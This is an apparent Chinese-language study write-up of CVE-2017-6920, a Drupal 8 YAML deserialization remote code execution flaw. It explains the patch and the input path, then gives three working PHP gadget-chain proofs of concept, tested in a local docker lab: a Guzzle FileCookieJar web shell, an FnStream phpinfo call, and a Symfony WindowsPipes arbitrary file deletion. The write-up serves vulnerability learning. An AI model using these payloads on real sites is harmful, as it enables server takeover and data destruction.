CVE-2017-6920 Drupal遠程代碼執行漏洞學習

 1.背景介紹:php

CVE-2017-6920是Drupal Core的YAML解析器處理不當所致使的一個遠程代碼執行漏洞,影響8.x的Drupal Core。前端

Drupal介紹:
Drupal 是一個由Dries Buytaert創立的自由開源的內容管理系統,用PHP語言寫成。在業界Drupal常被視爲內容管理框架(CMF),而非通常意義上的內容管理系統(CMS)。
Drupal目錄:
/vendor – Drupal Core所依賴的後端庫
/profile – 貢獻和自定義配置文件
/libraries – 第三方庫
/core /lib – Drupal核心類
/core /assets – Core使用的各類外部庫
/core /misc – Drupal Core所依賴的前端代碼
/core /includes – 低級別爲模塊化的功能。好比模塊系統自己
/core /modules – Drupal核心模塊
/core /profiles – Drupal Core安裝配置文件

YAML 介紹:
YAML是「YAML不是一種標記語言」的外語縮寫,但爲了強調這種語言以數據作爲中心,而不是以置標語言爲重點,而用返璞詞從新命名。
它是一種直觀的可以被電腦識別的數據序列化格式,是一個可讀性高而且容易被人類閱讀,容易和腳本語言交互,用來表達資料序列的編程語言。
它是相似於標準通用標記語言的子集XML的數據描述語言,語法比XML簡單不少。

2.修復方法:docker

static $init; 
if (!isset($init)) 
{ // We never want to unserialize !php/object. 
ini_set('yaml.decode_php', 0); 
$init = TRUE; 
} 

由於經過設置Init_set(),將限制yaml的decode函數的功能,從而防止反序列化php的對象類型序列化數據shell

3.漏洞分析:編程

在yaml.php中存在如下decode函數的調用json

因此須要在yaml類所在的文件中找decode函數,此decode函數中調用了靜態方法getSerializer()函數windows

此方法說明此時應用會判斷用什麼類來解析yaml數據,若是存在yaml擴展,就調用yamlpecl來處理,不然就使用yamlsymfony類來處理,此時要尋找的漏洞點後端

須要知足調用了yaml類的decode函數而且傳給decode函數的入口參數必須是咱們能夠控制的,因此須要去找這樣的函數數組

在core/modules/config/src/Form/ConfigSingleImportForm.php中存在decode函數的調用安全

 這裏調用了$form_stare的getValue()方法,這裏要求咱們必須熟悉drupal這個框架,知識儲備:

在處理表單時,有3個變量很是重要。
第一個就是$form_id,它包含了一個標識表單的字符串。
第二個就是$form,它是一個描述表單的結構化數組。
第三個就是$form_state,它包含了表單的相關信息,好比表單的值以及當表單處理完成時應該發生什麼。
drupal_get_form()在開始時,首先會初始化$form_state。

說明$form_state變量將會存儲咱們在表單中提交的值,那麼getValue是幹啥的,咱們繼續跟進一下,在FormStateInterface.php中聲明瞭getvalue函數的定義,具體的方法體在FormStateInterface.php中

此文件繼承了FormStateInterface接口,而且使用了FormStateValuesTrait,此時又須要瞭解須要學trait

Trait 是爲相似PHP 的單繼承語言而準備的一種代碼複用機制。Trait 爲了減小單繼承語言的限制,使開發人員可以自由地在不一樣層次結構內獨立的類中複用method。

在FormStateValuesTrait.php中實現了getvalue()函數的方法體,在getvalue()函數中,將會調用NestedArray的getvalue函數,將會把咱們以前"import"鍵所對應的值返回,即此時yaml::decode就接收到咱們傳遞過去的payload了

4.本地測試:

首先在其composer.json中尋找其加載了哪些代碼庫

1.存在guzzlehttp,所以能夠利用其進行任意寫文件,Guzzlehttp/guzzle代碼庫所存在的file_put_contents()

<?php

require __DIR__.'/vendor/autoload.php';


use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;


$tr1ple = new FileCookieJar('/tmp/shell.txt');
$payload = '<?php echo system($_POST[\'cmd\']); ?>';
$data=array(
    'Name' => "tr1ple",
    'Value' => "Arybin",
    'Domain' => $payload,
    'Expires' => time()
);
$tr1ple->setCookie(new SetCookie($data));
file_put_contents('./exp',addslashes(serialize($tr1ple)));

導出到文件由於直接寫出來會有不可見字符, 寫在tmp目錄是由於所使用的docker環境,寫入文件到www下權限不對,序列化後的數據必須對其中的引號進行轉義

結果:

注意:payload前面須要加上yaml的!php/object tag(注意必定要轉義),而且由於$data字段有Expire鍵,所以payload過一段時間將會失效,因此再次利用時須要從新生成payload

Expires:
Cookie 過時的時間。這是個 Unix 時間戳,即從 Unix 紀元開始的秒數。   換而言之,一般用 time() 函數再加上秒數來設定 cookie 的失效期。

2.利用Guzzlehttp/psr中的FnStream

如上圖所示,在析構函數中,將會調用call_user_func()函數

call_user_func — 把第一個參數做爲回調函數調用
第一個參數 callback 是被調用的回調函數,其他參數是回調函數的參數。

而此時call_user_func()的入口參數只有一個,那麼咱們此時只能調用無參函數來測試,咱們看一下其構造方法,入口參數爲數組,而且將會遍歷數組,將數組的鍵名前添加「_fn_」前綴,由於咱們須要傳遞array("close"=>"phpinfo")做爲入口參數

-

poc以下:

<?php
require __DIR__."/vendor/autoload.php";



use GuzzleHttp\Psr7\FnStream;

$payload = array(
"close" => "phpinfo"
);
$tr1ple = new FnStream($payload);

file_put_contents("exp1",addslashes(serialize($tr1ple)));

 

 

結果:

 

 

 

 

3.利用/vendor/symfony/process/Pipes/WindowsPipes.php中的unlink致使任意刪除

在其89行的析構函數中,存在removeFiles()函數,咱們跟進一下

在196行中咱們能夠看到這個函數將會遍歷$files變量,取出文件名,而後將文件刪除,而files變量是類的私有成員變量

 poc爲:

這個poc並無用到use,由於咱們不須要導入windowspipes這個類,咱們只須要在實例化這個類後給其私有變量賦值便可,也就是不存在給其構造函數傳遞參數

<?php
namespace Symfony\Component\Process\Pipes;
class WindowsPipes{
private $files = array('/tmp/tr1ple.txt');
}
$tr1ple = new WindowsPipes();
file_put_contents("exp3",addslashes(serialize($tr1ple)));

reference:

1.https://paper.seebug.org/334/

感想:

  第一次嘗試着去針對CVE去熟悉一個cms框架,這種學習的方法的確讓人短期瞭解了不少我以前都不會的知識,從接受惡意輸入,到觸發漏洞函數整個流程,很是惋惜的一點是因爲測試使用的是docker上的環境,

我想使用斷點調試,可是調試docker裏面的php配置起來太麻煩了,而且網上的方法不適用與目前的環境,仍是本身對docker的使用不夠熟悉,折騰了半天仍是沒能搭建成調試環境。可是也體會到開發中經常使用的開發技巧,

以及想要挖掘漏洞,除了須要掌握安全知識,也須要掌握必定的開發知識。

相關文章
相關標籤/搜索